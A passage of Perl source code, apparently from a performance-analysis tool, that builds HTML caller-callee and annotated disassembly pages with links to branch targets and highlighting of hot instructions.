      @address_field = ();
      @marker = ();
 
      $msg  = &quot;erased contents of arrays function_names, metric_values, &quot;;
      $msg .= &quot;address_field, and marker&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

    }

  push (@html_metric_sort_header, &quot;&lt;i&gt;&quot;);
  for my $i (0 .. $#top_level_header)
    {
      $html_line = $top_level_header[$i] . &quot;&lt;br&gt;&quot;;
      push (@html_metric_sort_header, $html_line);
    }
  push (@html_metric_sort_header, &quot;&lt;/i&gt;&quot;);

  print CALLER_CALLEE_OUT $html_header;
  print CALLER_CALLEE_OUT $html_home;
  print CALLER_CALLEE_OUT $html_title_header;
  print CALLER_CALLEE_OUT &quot;$_&quot; for @g_html_experiment_stats;
##  print CALLER_CALLEE_OUT &quot;&lt;br&gt;\n&quot;;
##  print CALLER_CALLEE_OUT &quot;$_\n&quot; for @html_metric_sort_header;
  print CALLER_CALLEE_OUT &quot;&lt;pre&gt;\n&quot;;
  print CALLER_CALLEE_OUT &quot;$_\n&quot; for @html_caller_callee;
  print CALLER_CALLEE_OUT &quot;&lt;/pre&gt;\n&quot;;

#------------------------------------------------------------------------------
# Get the acknowledgement, return to main link, and final html statements.
#------------------------------------------------------------------------------
  $html_home            = ${ generate_home_link (&quot;left&quot;) };
  $html_acknowledgement = ${ create_html_credits () };
  $html_end             = ${ terminate_html_document () };

  print CALLER_CALLEE_OUT $html_home;
  print CALLER_CALLEE_OUT &quot;&lt;br&gt;\n&quot;;
  print CALLER_CALLEE_OUT $html_acknowledgement;
  print CALLER_CALLEE_OUT $html_end;

  close (CALLER_CALLEE_OUT);

  $msg = &quot;the caller-callee information has been generated&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  return (0);

} #-- End of subroutine generate_caller_callee

#------------------------------------------------------------------------------
# Generate the html version of the disassembly file.
#
# Note to self (TBD)
# https://community.intel.com/t5/Intel-oneAPI-AI-Analytics/bd-p/ai-analytics-toolkit
#------------------------------------------------------------------------------
sub generate_dis_html
{
  my $subr_name = get_my_name ();

  my ($target_function_ref, $number_of_metrics_ref, $function_info_ref,
      $function_address_and_index_ref, $outputdir_ref, $func_ref,
      $source_line_ref, $metric_ref, $addressobj_index_ref) = @_;

  my $target_function            = ${ $target_function_ref };
  my $number_of_metrics          = ${ $number_of_metrics_ref };
  my @function_info              = @{ $function_info_ref };
  my %function_address_and_index = %{ $function_address_and_index_ref };
  my $outputdir                  = ${ $outputdir_ref };
  my $func                       = ${ $func_ref };
  my @source_line                = @{ $source_line_ref };
  my @metric                     = @{ $metric_ref };
  my %addressobj_index           = %{ $addressobj_index_ref };

  my $dec_instruction_start;
  my $dec_instruction_end;
  my $hex_instruction_start;
  my $hex_instruction_end;

  my @colour_line = ();
  my $hot_line;
  my $metric_values;
  my $src_line;
  my $dec_instr_address;
  my $instruction;
  my $operands;

  my $html_new_line = &quot;&lt;br&gt;&quot;;
  my $add_new_line_before;
  my $add_new_line_after;
  my $address_key;
  my $boldface;
  my $file;
  my $filename = $func;
  my $func_name;
  my $orig_hex_instr_address;
  my $hex_instr_address;
  my $index_string;
  my $input_metric;
  my $linenumber;
  my $name;
  my $last_address;
  my $last_address_in_hex;

  my $file_title;
  my $html_header;
  my $html_home;
  my $html_end;

  my $branch_regex      = $g_arch_specific_settings{&quot;regex&quot;};
  my $convert_to_dot    = $g_locale_settings{&quot;convert_to_dot&quot;};
  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};
  my $hp_value          = $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;};
  my $linksubexp        = $g_arch_specific_settings{&quot;linksubexp&quot;};
  my $subexp            = $g_arch_specific_settings{&quot;subexp&quot;};

  my $file_is_empty;

  my %branch_target = ();
  my %branch_target_no_ref = ();
  my @disassembly_file = ();
  my %extended_branch_target = ();
  my %inverse_branch_target = ();
  my @metrics = ();
  my @modified_html = ();

  my $branch_target_ref;
  my $extended_branch_target_ref;
  my $branch_target_no_ref_ref;

  my $branch_address;
  my $dec_branch_address;
  my $found_it;
  my $found_it_ref;
  my $func_name_in_dis_file;
  my $hex_branch_target;
  my $instruction_address;
  my $instruction_offset;
  my $link;
  my $modified_line;
  my $raw_hex_branch_target;
  my $src_line_ref;
  my $threshold_line;
  my $html_dis_out = $func . &quot;.html&quot;;

#------------------------------------------------------------------------------
# The regex section.
#------------------------------------------------------------------------------
  my $call_regex = &#039;.*([0-9a-fA-F]*):\s+(call)\s*0x([0-9a-fA-F]+)&#039;;
  my $line_of_interest_regex = &#039;^#*\s+([\d&#039; . $decimal_separator . &#039;\s+]+)\[\s*(\d+|\?)\]&#039;;
  my $white_space_regex = &#039;\s+&#039;;
  my $first_integer_regex = &#039;^\d+$&#039;;
  my $integer_regex = &#039;\d+&#039;;
  my $qmark_regex = &#039;\?&#039;;
  my $src_regex = &#039;(\s*)(\d+)\.(.*)&#039;;
  my $function_regex = &#039;^(\s*)&lt;Function:\s(.*)&gt;&#039;;
  my $end_src_header_regex = &quot;(^\\s+)(\\d+)\\.\\s+(.*)&quot;;
  my $end_dis_header_regex = &quot;(^\\s+)(&lt;Function: )(.*)&gt;&quot;;
  my $control_flow_1_regex = &#039;j[a-z]+&#039;;
  my $control_flow_2_regex = &#039;call&#039;;
  my $control_flow_3_regex = &#039;ret&#039;;

##  my $function_call_regex2 = &#039;(.*)\s+([0-9a-fA-F]*):\s+(call)\s*0x([0-9a-fA-F]+)\s*&#039;;
##  my $endbr_regex          = &#039;\.*([0-9a-fA-F]*):\s+(endbr[32|64])&#039;;
#------------------------------------------------------------------------------
# Dynamic. Computed below.
#
# TBD: Try to move these up.
#------------------------------------------------------------------------------
  my $dis_regex;
  my $metric_regex;

  gp_message (&quot;debug&quot;, $subr_name, &quot;g_branch_regex = $g_branch_regex&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;call_regex = $call_regex&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;g_function_call_v2_regex = $g_function_call_v2_regex&quot;);

  my $the_title = set_title ($function_info_ref, $func, &quot;disassembly&quot;);

  gp_message (&quot;debug&quot;, $subr_name, &quot;the_title = $the_title&quot;);

  $file_title      = $the_title;
  $html_header     = ${ create_html_header (\$file_title) };
  $html_home       = ${ generate_home_link (&quot;right&quot;) };

  push (@modified_html, $html_header);
  push (@modified_html, $html_home);
  push (@modified_html, &quot;&lt;pre&gt;&quot;);

#------------------------------------------------------------------------------
# Open the input and output files.
#------------------------------------------------------------------------------
  open (INPUT_DISASSEMBLY, &quot;&lt;&quot;, $filename)
    or die (&quot;$subr_name - unable to open disassembly file $filename for reading: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name , &quot;opened file $filename for reading&quot;);

  open (HTML_OUTPUT, &quot;&gt;&quot;, $html_dis_out)
    or die (&quot;$subr_name - unable to open file $html_dis_out for writing: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name , &quot;opened file $html_dis_out for writing&quot;);

#------------------------------------------------------------------------------
# Check if the file is empty
#------------------------------------------------------------------------------
  $file_is_empty = is_file_empty ($filename);
  if ($file_is_empty)
    {

#------------------------------------------------------------------------------
# The input file is empty.  Write a message in the html file and exit.
#------------------------------------------------------------------------------
      gp_message (&quot;debug&quot;, $subr_name ,&quot;file $filename is empty&quot;);

      my $comment = &quot;No disassembly generated by $tool_name - file $filename is empty&quot;;
      my $gp_error_file = $outputdir . &quot;gp-listings.err&quot;;

      my $html_empty_file_ref = html_text_empty_file (\$comment, \$gp_error_file);
      my @html_empty_file = @{ $html_empty_file_ref };

      print HTML_OUTPUT &quot;$_\n&quot; for @html_empty_file;

      close (HTML_OUTPUT);

      return (\@source_line);
    }
  else
    {

#------------------------------------------------------------------------------
# Read the file into memory.
#------------------------------------------------------------------------------
      chomp (@disassembly_file = &lt;INPUT_DISASSEMBLY&gt;);
      gp_message (&quot;debug&quot;, $subr_name ,&quot;read file $filename into memory&quot;);
    }

  my $max_length_first_metric = 0;
  my $src_line_no;

#------------------------------------------------------------------------------
# First scan through the assembly listing.
#------------------------------------------------------------------------------
  for (my $line_no=0; $line_no &lt;= $#disassembly_file; $line_no++)
    {
      my $input_line = $disassembly_file[$line_no];
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;[line $line_no] $input_line&quot;);

      if ($input_line =~ /$line_of_interest_regex/)
        {

#------------------------------------------------------------------------------
# Found a matching line.  Examples are:
#      0.370                [37]   4021d1:  addsd  %xmm0,%xmm1
#   ## 1.001                [36]   4021d5:  add    $0x1,%rax
#------------------------------------------------------------------------------
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;selected line \$1 = $1 \$2 = $2&quot;);

          if (defined ($2) and defined($1))
            {
              @metrics = split (/$white_space_regex/ ,$1);
              $src_line_no = $2;
            }
          else
            {
              my $msg = &quot;$input_line has an unexpected format&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }

#------------------------------------------------------------------------------
# Compute the maximum length of the first metric and pad the field from the
# left later on.  The fractional part is ignored.
#------------------------------------------------------------------------------
          my $first_metric = $metrics[0];
          my $new_length;
          if ($first_metric =~ /$first_integer_regex/)
            {
              $new_length = length ($first_metric);
            }
          else
            {
              my @fields = split (/$decimal_separator/, $first_metric);
              $new_length = length ($fields[0]);
            }
          $max_length_first_metric = max ($max_length_first_metric, $new_length);
          my $msg;
          $msg = &quot;first_metric = $first_metric &quot; .
                 &quot;max_length_first_metric = $max_length_first_metric&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          if ($src_line_no !~ /$qmark_regex/)
#------------------------------------------------------------------------------
# The source code line number is known and is stored.
#------------------------------------------------------------------------------
            {
              $source_line[$line_no] = $src_line_no;
              my $msg;
              $msg  = &quot;found an instruction with a source line ref:&quot;;
              $msg .= &quot; source_line[$line_no] = $source_line[$line_no]&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }

#------------------------------------------------------------------------------
# Check for function calls.  If found, get the address offset from $4 and
# compute the target address.
#------------------------------------------------------------------------------
          ($found_it_ref, $branch_target_ref, $extended_branch_target_ref) =
                                                 check_and_proc_dis_func_call (
                                                   \$input_line,
                                                   \$line_no,
                                                   \%branch_target,
                                                   \%extended_branch_target);
          $found_it = ${ $found_it_ref };

          if ($found_it)
            {
              %branch_target = %{ $branch_target_ref };
              %extended_branch_target = %{ $extended_branch_target_ref };
            }

#------------------------------------------------------------------------------
# Look for a branch instruction, or the special endbr32/endbr64 instruction
# that is also considered to be a branch target.  Note that the latter is x86
# specific.
#------------------------------------------------------------------------------
          ($found_it_ref, $branch_target_ref, $extended_branch_target_ref,
           $branch_target_no_ref_ref) = check_and_proc_dis_branches (
                                               \$input_line,
                                               \$line_no,
                                               \%branch_target,
                                               \%extended_branch_target,
                                               \%branch_target_no_ref);
          $found_it = ${ $found_it_ref };

          if ($found_it)
            {
              %branch_target = %{ $branch_target_ref };
              %extended_branch_target = %{ $extended_branch_target_ref };
              %branch_target_no_ref = %{ $branch_target_no_ref_ref };
            }
        }
    } #-- End of loop over line_no

  %inverse_branch_target = reverse (%extended_branch_target);

  gp_message (&quot;debug&quot;, $subr_name, &quot;generated inverse of branch target structure&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;completed parsing file $filename&quot;);

  for my $key (sort keys %branch_target)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;branch_target{$key} = $branch_target{$key}&quot;);
    }
  for my $key (sort keys %extended_branch_target)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;extended_branch_target{$key} = $extended_branch_target{$key}&quot;);
    }
  for my $key (sort keys %inverse_branch_target)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;inverse_branch_target{$key} = $inverse_branch_target{$key}&quot;);
    }
  for my $key (sort keys %branch_target_no_ref)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;branch_target_no_ref{$key} = $branch_target_no_ref{$key}&quot;);
      $inverse_branch_target{$key} = $key;
    }
  for my $key (sort keys %inverse_branch_target)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;inverse_branch_target{$key} = $inverse_branch_target{$key}&quot;);
    }

#------------------------------------------------------------------------------
# Process the disassembly.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Dynamically generate the regexes.
#------------------------------------------------------------------------------
  $metric_regex = &#039;&#039;;
  for my $metric_used (1 .. $number_of_metrics)
    {
      $metric_regex .= &#039;(\d+&#039; . $decimal_separator . &#039;*\d*)\s+&#039;;
    }

  $dis_regex  = &#039;^(#{2}|\s{2})\s+&#039;;
  $dis_regex .= &#039;(.*)&#039;;
##  $dis_regex .= &#039;\[\s*([0-9?]+)\]\s+([0-9a-fA-F]+):\s+([a-z0-9]+)\s+(.*)&#039;;
  $dis_regex .= &#039;\[\s*([0-9?]+)\]\s+([0-9a-fA-F]+):\s+([a-z0-9]+)(.*)&#039;;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric_regex = $metric_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;dis_regex    = $dis_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;src_regex    = $src_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;contents of lines array&quot;);

#------------------------------------------------------------------------------
# Identify the header lines.  Make the minimal assumptions.
#
# In both cases, the first line after the header has whitespace.  This is
# followed by:
#
# - A source line file has &quot;&lt;line_no&gt;.&quot;
# - A dissasembly file has &quot;&lt;Function:&quot;
#
# These are the characteristics we use below.
#------------------------------------------------------------------------------
  for (my $line_no=0; $line_no &lt;= $#disassembly_file; $line_no++)
    {
      my $input_line = $disassembly_file[$line_no];
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;[line $line_no] $input_line&quot;);

      if ($input_line =~ /$end_src_header_regex/)
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;header time is over - hit source line\n&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$1 $2 $3\n&quot;);
          last;
        }
      if ($input_line =~ /$end_dis_header_regex/)
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;header time is over - hit disassembly line\n&quot;);
          last;
        }
      push (@modified_html, &quot;&lt;i&gt;&quot; . $input_line . &quot;&lt;/i&gt;&quot;);
    }
  my $line_index = scalar (@modified_html);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;final line_index = $line_index&quot;);

  for (my $line_no=0; $line_no &lt;= $line_index-1; $line_no++)
    {
      my $msg = &quot; modified_html[$line_no] = $modified_html[$line_no]&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Source line:
#  20.       for (int64_t r=0; r&lt;repeat_count; r++) {
#
# Disassembly:
#    0.340                [37]   401fec:  addsd   %xmm0,%xmm1
# ## 1.311                [36]   401ff0:  addq    $1,%rax
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Find the hot PCs and store them.
#------------------------------------------------------------------------------
  my @hot_program_counters = ();
  my @transposed_hot_pc = ();
  my @max_metric_values = ();

  gp_message (&quot;debug&quot;, $subr_name, &quot;determine the maximum metric values&quot;);
  for (my $line_no=$line_index-1; $line_no &lt;= $#disassembly_file; $line_no++)
    {
      my $input_line = $disassembly_file[$line_no];

      if ( $input_line =~ /$dis_regex/ )
        {
##          if ( defined ($1) and defined ($2) and defined ($3) and
##               defined ($4) and defined ($5) and defined ($6) )
          if ( defined ($1) and defined ($2) and defined ($3) and
               defined ($4) and defined ($5) )
            {
              $hot_line      = $1;
              $metric_values = $2;
              $src_line      = $3;
              $dec_instr_address = bigint::hex ($4);
              $instruction   = $5;
              if (defined ($6))
                {
                  my $white_space_regex = &#039;\s*&#039;;
                  $operands = $6;
                  $operands =~ s/$white_space_regex//;
                }

              if ($hot_line eq &quot;##&quot;)
                {
                  my @metrics = split (&quot; &quot;, $metric_values);
                  push (@hot_program_counters, [@metrics]);
                }
            }
        }
    }
  for my $row (keys @hot_program_counters)
    {
      my $msg = &quot;$filename row[&quot; . $row . &quot;] =&quot;;
      for my $col (keys @{$hot_program_counters[$row]})
        {
          $msg .= &quot; $hot_program_counters[$row][$col]&quot;;
          $transposed_hot_pc[$col][$row] = $hot_program_counters[$row][$col];
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;hot PC = $msg&quot;);
    }
  for my $row (keys @transposed_hot_pc)
    {
      my $msg = &quot;$filename row[&quot; . $row . &quot;] =&quot;;
      for my $col (keys @{$transposed_hot_pc[$row]})
        {
          $msg .= &quot; $transposed_hot_pc[$row][$col]&quot;;
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;$filename transposed = $msg&quot;);
    }
#------------------------------------------------------------------------------
# Get the maximum metric values and if integer, convert to floating-point.
# Since it is easier, we transpose the array and access it over the columns.
#------------------------------------------------------------------------------
  for my $row (0 .. $#transposed_hot_pc)
    {
      my $max_val = 0;
      for my $col (0 .. $#{$transposed_hot_pc[$row]})
        {
          $max_val = max ($transposed_hot_pc[$row][$col], $max_val);
        }
      if ($max_val =~ /$integer_regex/)
        {
          $max_val = sprintf (&quot;%f&quot;, $max_val);
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;$filename row = $row max_val = $max_val&quot;);
      push (@max_metric_values, $max_val);
    }

    for my $metric (0 .. $#max_metric_values)
      {
        my $msg = &quot;$filename maximum[$metric] = $max_metric_values[$metric]&quot;;
        gp_message (&quot;debugM&quot;, $subr_name, $msg);
      }

#------------------------------------------------------------------------------
# TBD - Integrate this better.
#
# Scan the instructions to find the instruction address range.  This is used
# to determine if a branch is external to this function.
#------------------------------------------------------------------------------
  $dec_instruction_start = undef;
  $dec_instruction_end   = undef;
  for (my $line_no=$line_index-1; $line_no &lt;= $#disassembly_file; $line_no++)
    {
      my $input_line = $disassembly_file[$line_no];
      if ( $input_line =~ /$dis_regex/ )
        {
#          if ( defined ($1) and defined ($2) and defined ($3) and
##               defined ($4) and defined ($5) and defined ($6) )
          if ( defined ($1) and defined ($2) and defined ($3) and
               defined ($4) and defined ($5) )
            {
              $hot_line      = $1;
              $metric_values = $2;
              $src_line      = $3;
              $dec_instr_address = bigint::hex ($4);
              $instruction   = $5;
##              $operands      = $6;
              if (defined ($6))
                {
                  my $white_space_regex = &#039;\s*&#039;;
                  $operands = $6;
                  $operands =~ s/$white_space_regex//;
                }

              if (defined ($dec_instruction_start))
                {
                  if ($dec_instr_address &lt; $dec_instruction_start)
                    {
                      $dec_instruction_start = $dec_instr_address;
                    }
                }
              else
                {
                  $dec_instruction_start = $dec_instr_address;
                }
              if (defined ($dec_instruction_end))
                {
                  if ($dec_instr_address &gt; $dec_instruction_end)
                    {
                      $dec_instruction_end = $dec_instr_address;
                    }
                }
              else
                {
                  $dec_instruction_end = $dec_instr_address;
                }
            }
        }
    }

  if (defined ($dec_instruction_start) and defined ($dec_instruction_end))
    {
      $hex_instruction_start = sprintf (&quot;%x&quot;, $dec_instruction_start);
      $hex_instruction_end = sprintf (&quot;%x&quot;, $dec_instruction_end);

      my $msg;
      $msg = &quot;$filename $func dec_instruction_start = &quot; .
             &quot;$dec_instruction_start (0x$hex_instruction_start)&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
      $msg = &quot;$filename $func dec_instruction_end   = &quot; .
             &quot;$dec_instruction_end (0x$hex_instruction_end)&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# This is where all the results from above come together.
#------------------------------------------------------------------------------
  for (my $line_no=$line_index-1; $line_no &lt;= $#disassembly_file; $line_no++)
    {
      my $input_line = $disassembly_file[$line_no];
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;input_line[$line_no] = $input_line&quot;);
      if ( $input_line =~ /$dis_regex/ )
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;found a disassembly line: $input_line&quot;);

          if ( defined ($1) and defined ($2) and defined ($3) and
               defined ($4) and defined ($5) )
            {
#                      $branch_target{$hex_branch_target} = 1;
#                      $extended_branch_target{$instruction_address} = $raw_hex_branch_target;
              $hot_line      = $1;
              $metric_values = $2;
              $src_line      = $3;
              $orig_hex_instr_address = $4;
              $instruction   = $5;
##              $operands      = $6;

              my $msg = &quot;disassembly line: $1 $2 $3 $4 $5&quot;;
              if (defined ($6))
                {
                  $msg .= &quot; \$6 = $6&quot;;
                  my $white_space_regex = &#039;\s*&#039;;
                  $operands = $6;
                  $operands =~ s/$white_space_regex//;
                }
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Pad the line with the metrics to ensure correct alignment.
#------------------------------------------------------------------------------
              my $the_length;
              my @split_metrics = split (&quot; &quot;, $metric_values);
              my $first_metric = $split_metrics[0];
##              if ($first_metric =~ /^\d+$/)
              if ($first_metric =~ /$first_integer_regex/)
                {
                  $the_length = length ($first_metric);
                }
              else
                {
                  my @fields = split (/$decimal_separator/, $first_metric);
                  $the_length = length ($fields[0]);
                }
              my $spaces = $max_length_first_metric - $the_length;
              my $pad = &quot;&quot;;
              for my $p (1 .. $spaces)
                {
                  $pad .= &quot;&amp;nbsp;&quot;;
                }
              $metric_values = $pad . $metric_values;
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;pad = $pad&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric_values = $metric_values&quot;);

#------------------------------------------------------------------------------
# Since the instruction address variable may change and because we need the
# original address without html controls, we use a new variable for the
# (potentially) modified address.
#------------------------------------------------------------------------------
              $hex_instr_address   = $orig_hex_instr_address;
              $add_new_line_before = $FALSE;
              $add_new_line_after  = $FALSE;

              if ($src_line eq &quot;?&quot;)

#------------------------------------------------------------------------------
# There is no source line number.  Do not add a link.
#------------------------------------------------------------------------------
                {
                  $modified_line = $hot_line . &#039; &#039; . $metric_values . &#039; [&#039; . $src_line . &#039;] &#039;;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;initialized modified_line = $modified_line&quot;);
                }
              else
                {
#------------------------------------------------------------------------------
# There is a source line number.  Mark it as link.
#------------------------------------------------------------------------------
                  $src_line_ref = &quot;[&lt;a href=&#039;#line_&quot;.$src_line.&quot;&#039;&gt;&quot;.$src_line.&quot;&lt;/a&gt;]&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;src_line_ref = $src_line_ref&quot;);
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;hex_instr_address = $hex_instr_address&quot;);

                  $modified_line = $hot_line . &#039; &#039; . $metric_values . &#039; &#039; . $src_line_ref . &#039; &#039;;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;initialized modified_line = $modified_line&quot;);
                }

#------------------------------------------------------------------------------
# Mark control flow instructions.  Several cases need to be distinguished.
#
# In all cases we give the instruction a specific color, mark it boldface
# and add a new-line after the instruction
#------------------------------------------------------------------------------
              if ( ($instruction =~ /$control_flow_1_regex/)   or
                   ($instruction =~ /$control_flow_2_regex/)   or
                   ($instruction =~ /$control_flow_3_regex/) )
                {
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;instruction = $instruction is a control flow instruction&quot;);

                  $add_new_line_after = $TRUE;

                  $boldface = $TRUE;
                  $instruction = color_string ($instruction, $boldface, $g_html_color_scheme{&quot;control_flow&quot;});
                }

              if (exists ($extended_branch_target{$hex_instr_address}))
#------------------------------------------------------------------------------
# This is a branch instruction and we need to add the target address.
#
# In case the target address is outside of this load object, the link is
# colored differently.
#
# TBD: Add the name and if possible, a working link to this code.
#------------------------------------------------------------------------------
                {
                  $branch_address = $extended_branch_target{$hex_instr_address};

                  $dec_branch_address = bigint::hex ($branch_address);

                  if ( ($dec_branch_address &gt;= $dec_instruction_start) and
                       ($dec_branch_address &lt;= $dec_instruction_end) )
#------------------------------------------------------------------------------
# The instruction is within the range.
#------------------------------------------------------------------------------
                    {
                      $link = &quot;[ &lt;a href=&#039;#&quot;.$branch_address.&quot;&#039;&gt;&quot;.$branch_address.&quot;&lt;/a&gt; ]&quot;;
                    }
                  else
                    {
#------------------------------------------------------------------------------
# The instruction is outside of the range.  Change the color of the link.
#------------------------------------------------------------------------------
                      gp_message (&quot;debugXL&quot;, $subr_name, &quot;address is outside of range&quot;);

                      $link = &quot;[ &lt;a href=&#039;#&quot;.$branch_address;
                      $link .= &quot;&#039; style=&#039;color:$g_html_color_scheme{&#039;link_outside_range&#039;}&#039;&gt;&quot;;
                      $link .= $branch_address.&quot;&lt;/a&gt; ]&quot;;
                    }
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;address exists new link = $link&quot;);

                  $operands .= &#039; &#039; . $link;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;update #1 modified_line = $modified_line&quot;);
                }
              if (exists ($branch_target_no_ref{$hex_instr_address}))
                {
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;NEWBR branch_target_no_ref{$hex_instr_address} = $branch_target_no_ref{$hex_instr_address}&quot;);
                }
##              if (exists ($inverse_branch_target{$hex_instr_address}) or
##                  exists ($branch_target_no_ref{$hex_instr_address}))
              if (exists ($inverse_branch_target{$hex_instr_address}))
#------------------------------------------------------------------------------
# This is a target address and we need to define the instruction address to be
# a label.
#------------------------------------------------------------------------------
                {
                  $add_new_line_before = $TRUE;

                  my $branch_target = $inverse_branch_target{$hex_instr_address};
                  my $target = &quot;&lt;a name=&#039;&quot;.$hex_instr_address.&quot;&#039;&gt;&lt;b&gt;&quot;.$hex_instr_address.&quot;&lt;/b&gt;&lt;/a&gt;:&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;inverse exists - hex_instr_address = $hex_instr_address&quot;);
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;inverse exists - add a target target = $target&quot;);

                  $hex_instr_address = &quot;&lt;a name=&#039;&quot;.$hex_instr_address.&quot;&#039;&gt;&lt;b&gt;&quot;.$hex_instr_address.&quot;&lt;/b&gt;&lt;/a&gt;&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;update #2 hex_instr_address = $hex_instr_address&quot;);
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;update #2 modified_line     = $modified_line&quot;);
                }

              $modified_line .= $hex_instr_address . &#039;: &#039; . $instruction . &#039; &#039; . $operands;

              gp_message (&quot;debugXL&quot;, $subr_name, &quot;final modified_line = $modified_line&quot;);

#------------------------------------------------------------------------------
# This is a control flow instruction, but it is the last one and we do not
# want to add a newline.
#------------------------------------------------------------------------------
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;decide where the &lt;br&gt; should go in the html&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;add_new_line_after  = $add_new_line_after&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;add_new_line_before = $add_new_line_before&quot;);

              if ( $add_new_line_after and ($orig_hex_instr_address eq $hex_instruction_end) )
                {
                  $add_new_line_after = $FALSE;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$instruction is the last instruction - do not add a newline&quot;);
                }

              if ($add_new_line_before)
                {

#------------------------------------------------------------------------------
# Get the previous line, if any, so that we can check what it is.
#------------------------------------------------------------------------------
                  my $prev_line = pop (@modified_html);
                  if ( defined ($prev_line) )
                    {
                      gp_message (&quot;debugXL&quot;, $subr_name, &quot;prev_line = $prev_line&quot;);

#------------------------------------------------------------------------------
# Restore the previously popped line.
#------------------------------------------------------------------------------
                      push (@modified_html, $prev_line);
                      if ($prev_line ne $html_new_line)
                        {
                          gp_message (&quot;debugXL&quot;, $subr_name, &quot;add_new_line_before = $add_new_line_before pushed $html_new_line&quot;);
#------------------------------------------------------------------------------
# There is no new-line yet, so add it.
#------------------------------------------------------------------------------
                          push (@modified_html, $html_new_line);
                        }
                      else
                        {
#------------------------------------------------------------------------------
# It was a new-line, so do nothing and continue.
#------------------------------------------------------------------------------
                          gp_message (&quot;debugXL&quot;, $subr_name, &quot;need to restore $html_new_line&quot;);
                        }
                    }
                }
#------------------------------------------------------------------------------
# Add the newly created line.
#------------------------------------------------------------------------------

              if ($hot_line eq &quot;##&quot;)
#------------------------------------------------------------------------------
# Highlight the most expensive line.
#------------------------------------------------------------------------------
                {
                  $modified_line = set_background_color_string (
                                 $modified_line,
                                 $g_html_color_scheme{&quot;background_color_hot&quot;});
                }
#------------------------------------------------------------------------------
# Sub-highlight the lines close enough to the hot line.
#------------------------------------------------------------------------------
              else
                {
                  my @current_metrics = split (&quot; &quot;, $metric_values);
                  for my $metric (0 .. $#current_metrics)
                    {
                      my $current_value;
                      my $max_value;
                      $current_value = $current_metrics[$metric];
#------------------------------------------------------------------------------
# As part of the padding process, non-breaking spaces may have been inserted
# in an earlier phase.  Temporarily remove these to make sure that the maximum
# metric values can be computed.
#------------------------------------------------------------------------------
                      $current_value =~ s/&amp;nbsp;//g;
                      if (exists ($max_metric_values[$metric]))
                        {
                          $max_value     = $max_metric_values[$metric];
                          gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric = $metric current_value = $current_value max_value = $max_value&quot;);
                          if ( ($max_value &gt; 0) and ($current_value &gt; 0) and ($current_value != $max_value) )
                            {
# TBD: abs needed?
                              gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric = $metric current_value = $current_value max_value = $max_value&quot;);
                              my $relative_distance = 1.00 - abs ( ($max_value - $current_value)/$max_value );
                              gp_message (&quot;debugXL&quot;, $subr_name, &quot;relative_distance = $relative_distance&quot;);
                              if (($hp_value &gt; 0) and ($relative_distance &gt;= $hp_value/100.0))
                                {
                                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric $metric is within the relative_distance&quot;);
                                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;change bg modified_line = $modified_line&quot;);
                                  $modified_line = set_background_color_string (
                                                     $modified_line,
